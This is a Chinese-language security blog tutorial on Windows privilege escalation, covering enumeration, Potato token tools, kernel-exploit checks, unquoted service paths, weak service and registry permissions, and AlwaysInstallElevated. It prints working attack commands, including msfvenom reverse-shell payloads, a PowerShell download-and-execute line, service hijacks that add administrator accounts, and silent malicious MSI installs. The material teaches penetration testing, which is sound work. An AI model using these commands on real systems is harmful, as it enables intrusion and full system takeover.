Windows系统提权

admin 2021年8月27日14:31:21评论369 views字数 9413阅读31分22秒阅读模式

/01 权限提升概述

一,提权概述

权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权 限的管理员用户,从而获得对整个系统得控制权。

Windows:user –> administrator

Linux:user –> root

二,提权类别

本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。

远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。

操作系统提权: Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032等 Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195等 应用程序提权:Seru-u、SQL Server、MySQL、Oracle、Java、IE

三,提权条件

  • 拥有Webshell,普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码

四,Windows提权思路

  • 前期信息收集
  • Meterpreter提权
  • Windows系统内核漏洞
  • Windows服务漏洞
  • Windows注册表

/02 Windows提权信息收集

一,获得一个Meterpreter的shell

1.生成对应payload的马

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.227 lport=6666 -f exe -o xx.exe -e x86/shikata_ga_nai -i 8

2.上传至被控制端

通过Web或者其他命令执行等漏洞上马

运行马之前,控制端启动监听

3.获得shell

二,WMIC信息收集

WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗 透测试是非常实用的。

wmic信息提取脚本:wmic_info.bat

提取进程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运 行、安装的软件列表、操作系统、时区等信息。

补丁信息、补丁包过滤

1
2
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx“

获取杀软名:

1
2
WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName
/Format:List

获取杀软名和安装路径:

1
2
WMIC /namespace:\rootsecuritycenter2 path antivirusproduct GET displayName,productState,
pathToSignedProductExe

组账户管理:

1
wmic group

已安装操作系统的管理:

1
wmic os

进程管理:

1
wmic process

服务应用程序管理:

1
wmic service

用户账户管理:

1
wmic useraccount

当用户登录到计算机系统时自动运行的命令的管理:

1
wmic startup

网络接口控制器(NIC)管理:

1
wmic nic

三,SC信息收集

SC:用来与服务控制管理器和服务进行通信的命令行程序,检索和设置有关服务的控制信息,测试和调试服务程 序,检索服务状态或运行、停止服务,类似于控制面板-管理工具-服务(services.msc)

获取系统注册服务信息:

1
sc query state= all

四,自动信息收集

Host Information Gathering Script:HIGS.bat

https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat

privilege-escalation-awesome-scripts:winPEAS.bat

https://github.com/carlospolop/privilege-escalation-awesome-scriptssuite/blob/master/winPEAS/winPEASbat/winPEAS.bat

https://github.com/M4ximuss/Powerless

五,提权工具脚本

RottenPotato: 将服务帐户本地提权至SYSTEM

1
2
meterpreter > load incognito
meterpreter > list_token -u

以普通运行shell马:

image-20201209171531519

以管理员运行shell马:

image-20201209192340788

1
2
#上传rottenpotato.exe
meterpreter > upload <脚本路径/rottenpotato.exe> C:\

image-20201209192430507

image-20201209192449514

1
2
#运行rottenpotato
meterpreter > execute -Hc -f C:\rottenpotato.exe

image-20201209192509816

image-20201209192856217

运行之后的list

image-20201209193036642

提升想要权限:

1
meterpreter > impersonate_token "NT AUTHORITYSYSTEM"

image-20201209193309259

image-20201209193456699

如果没有用管理员运行shell脚本是运行不了rottenpotato.exe,如果用管理员运行shell马,load incognito之后看token也是有“NT AUTHORITYSYSTEM”这个可提权限的。

另外的提权工具脚本地址:

Origin Potato : https://github.com/foxglovesec/Potato

RottenPotato & JuicyPotato: https://github.com/ohpe/juicy-potato

RoguePotato: https://github.com/antonioCoco/RoguePotato

SweetPotato: https://github.com/CCob/SweetPotato

image-20201209194805434

Webshell下执行命令:

https://github.com/uknowsec/SweetPotato

https://github.com/uknowsec/getSystem

image-20201209195229827

/03 Windows内核漏洞提权

一,Windows系统内核漏洞

1.wmic检查

1
2
3
#检查Windows版本是否有任何已知的漏洞:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe get Caption,Description,HotFixID,InstalledOn

image-20201209200019508

image-20201209200057620

1
2
#列出所有补丁:
powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"

image-20201209200334700

KB查找网站bugs.hacking8.com/tiquan/

1
2
#列出安全更新补丁:
powershell -c "Get-Hotfix -description 'Security update'"

image-20201209200954125

2.msf的后渗透模块之二

1
post/windows/gather/enum_patches

image-20201209201650548

1
post/multi/recon/local_exploit_suggester

image-20201209203111518

拿一个试一试

image-20201209203418881

失败。所以检查出来需要动手测一测

3.Watson工具检查

https://github.com/rasta-mouse/Watson

4.Powerahwll ps脚本:

1
2
wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://VPSIP/Sherlock.ps1');Find-AllVulns

windows-kernel-exploits(Windows平台提权漏洞集合): https://github.com/SecWiki/windows-kernel-exploits

/04 Windows系统服务漏洞

一,可信任服务路径

可信任服务路径:存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限, Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时 候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

1
2
3
4
5
6
例子:
C:Program Files (x86)Windows FolderCommon FolderFolder.exe
C:Program.exe
C:Program Files (x86)Windows.exe
C:Program Files (x86)Windows FolderCommon.exe
C:Program Files (x86)Windows FolderCommon FolderFolder.exe

懂得都懂。v

但服务依托于管理原身份运行时,我们偷换掉路径下面的文件就会让系统运行路径下我们重名的文件。

专业术语:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径 名,则可利用此漏洞。

具体步骤:

1.检查目标主机是否可能存在漏洞:

1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr/i /v """

image-20201209204505799

2.检查对有漏洞目录是否有写入权限

1
icacls "C:Program Files (x86)Windows Folder"

image-20201209204925515

属性解释:

F =完全控制

CI =容器继承 - 此标志指示从属容器将继承此ACE

OI = Object Inherit - 这个标志表示从属文件将继承ACE

3.生成payload

1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.11.11 LPORT=9999 -f exe -o Program.exe

image-20201210151754938

Tips:

目测这是windows关键目录基本上了这个大部分关键服务都无法运行很有可能开机即报错,所以只做演示,原理大家明白就行哈。

实验的话可以自行创建服务:

1
sc create TestService binpath= "C:Program Files (x86)Windows FolderCommon FoldergetSystem.exe" type= share start= auto displayname= "ATest Service"

image-20201210160110670

4.上传对应文件目录

1
2
3
meterpreter > upload /root/Desktop/Program.exe C:\
[*] uploading : /root/Desktop/Program.exe -> C:
[*] uploaded : /root/Desktop/Program.exe -> C:\Program.exe

image-20201210151934395

image-20201210160148982

5.重启

5.1服务
1
2
3
sc qc "ATest Service"
sc stop "ATest Service”
sc start "ATest Service"

这里重启服务注意提前设置监听和进程迁移,不然服务启动失败他会自动结束进程所以细节,而且普通用户无法重启systeam的服务一般需要重启电脑。

image-20201210160523064

image-20201210160540517

但很快就died了所以设置好进程迁移QAQ

5.2.重启计算机get shell
1
2
3
use exploit/multi/handler
set autorunscript migrate –f
shutdown –r

二,不安去的服务权限

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。

JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。

而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类 系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动 服务而获得系统权限。

1.利用accesschk工具检查易受到攻击的服务:

1
2
accesschk64.exe -ucqv "Authenticated Users" * /accepteula 

image-20201210162841339

如果结果为services_all_access就很可能有。

2.查看可完全控制的服务的属性

1
sc qc Acunetix

image-20201210163318672

3.修改服务配置执行命令

BINARY_PATH_NAME 参数指向了该服务的可执行程序(wvs_supervisor.exe)路径

修改服务信息的帮助执行命令

1
2
3
4
5
6
7
8
9
#服务信息帮助添加用户updateuser
sc config Acunetix binpath= "net user updateuser password /add"
#没有权限就重启
sc stop Acunetix
sc start Acunetix
#服务帮助提高用户权限
sc config Acunetix binpath= "net localgroup Administrators updateuser /add"
#重启服务
sc start Acunetix

image-20201210163910200

image-20201210163955733

Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户 Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。

SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权

BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这 个命令在该服务下一次启动时,将会以SYSTEM权限运行。

三,不安全的注册表权限

在Windows中和Windows服务有关的信息存储在注册表项中:

在Windows中,与服务相关的信息存储在 HKLMSYSTEMCurrentControlSetServices 注册表项中。 如果我 们想查看有关我们的“易受攻击的服务”的信息,我们应该检查

HKLMSYSTEMControlSet001ServicesVulnerable Service 密钥。

1
2
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
wmic service get displayname,name

工具:

Subinacl:https://www.microsoft.com/en-us/download/details.aspx?id=23510

上传工具到目标机器:

1
2
3
4
meterpreter > cd %temp%
meterpreter > pwd
C:UserstestuserAppDataLocalTemp
meterpreter > upload -f subinacl.exe

检查 HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service 的权限:

1
subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVulnerable Service" /display

试了一下非管理员运行,无权访问

image-20201210164650904

更具已有的注册表开始测试win+R->regedit,

image-20201210165559318

确实没有。

检查注册表项的权限:

1
subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesAcunetix" /display

image-20201210165152208

如果对注册表项有写入权限,我们可以通过编辑ImagePath值来更改此服务的可执行路径。

msfvenom生成adduer.exe,然后上传到目标机器,使用我们payload的路径来更改易受攻击的服务的 ImagePath值。

1
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesAcunetix” /t REG_EXPAND_SZ /v ImagePath /d "C:windowstempadduser.exe" /f

image-20201210165713833

1
shutdown /r /t 0

重启计算机,adduser.exe以system权限执行。

如果是生成反弹shell的payload,注意设置自动迁移进程。

Autorun:

1
2
3
4
5
6
7
8
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceService
HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunService
HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRunOnceServ ice

四,不安全的文件/文件夹权限

这与我们用非引用服务路径所做的非常相似。无引号的服务路径利用了“CreateProcess”功能的弱点,以及服务的可执行文件路径的文件夹权限。 但是在这里我们将尝试直接替换可执行文件。

1
2
icacls "C:Program Files (x86)Program FolderCommon Folder"
icacls "C:Program Files (x86)Windows FolderCommon Folder"

简单地用反向shell payload替换“Executable.exe”文件并重新启动服务将给我们带有SYSTEM权限的 meterpreter会话。

image-20201210165957205

五,Always Install Elevated

任意用户以NT AUTHORITYSYSTEM权限安装msi。

AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特 权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以 system权限执行任意payload。

判断是否启用此策略设置:

1
2
reg query HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

收到“错误:系统无法找到指定的注册表项或值”的错误,则表示此注册表值从未创建。 说明政策没有启用。

image-20201210170053102

收到“AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。

启用Always Install Elevated

1
2
3
4
5
6
7
reg add HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1 

reg add HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1

HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsInstall (AlwaysInstalledElevated=1)
HKEY_CURRENT_USERSoftwarePoliciesMicrosofWindowsInstaller (AlwaysInstalledElevated=1)

image-20201210170500124

image-20201210170543235

使用msfvenom生成恶意msi程序上传

生成执行此payload的可执行反向shell payload(Payload.exe)和msi程序包(malicious.msi)

1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.11.11 LPORT=8989 -f exe -o Payload.exe

image-20201210171257280

通过使用Windows/exec生成恶意.msi作为 payload:

1
msfvenom -f msi-nouac -p windows/exec cmd="C:Users用户名AppDataLocalTempPayload.exe" > malicious.msi

image-20201210171314609

将这两个上传到我们的目标机器

1
msfvenom -p windows/adduser USER=test PASS=Password@123 --platform windows -a x86 -f msi-nouac -o test.msi

image-20201210171514341

其实我没有密码哈哈哈哈

运行恶意程序:

1
2
msiexec /quiet /qn /i C:UserstestAppDataLocaltempmalicious.msi
msiexec /quiet /qn /i C:programdatatest.msi

image-20201210172719872

拿到shell

image-20201210172837027

/quiet 安装过程中禁止向用户发送消息

/qn 不使用GUI

/i 安装程序

Tips:

这个Always服务启动有些困难能起则起,可能需要更高权限,所以查看没策略且没管理员就可以放弃了,寻找另外的提权,手段,提权手段千千万唯有0day永相随。

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: 从CTF比赛真题中学习压缩包伪加密与图片隐写术

先讲个笑话,刚刚打完MAR DASCTF明御攻防赛,一如往常,很轻松便拿到了两个flag(签到与问卷),哈哈,一个脑细胞都不用消耗 好了下面通过其中的一道misc题,一起学习一下伪加密与图片隐写的破解 本文知识点: 遇到加密压缩文件怎么办?需要哪些工具 遇到图…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:31:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows系统提权http://cn-sec.com/archives/475099.html

发表评论

匿名网友 填写信息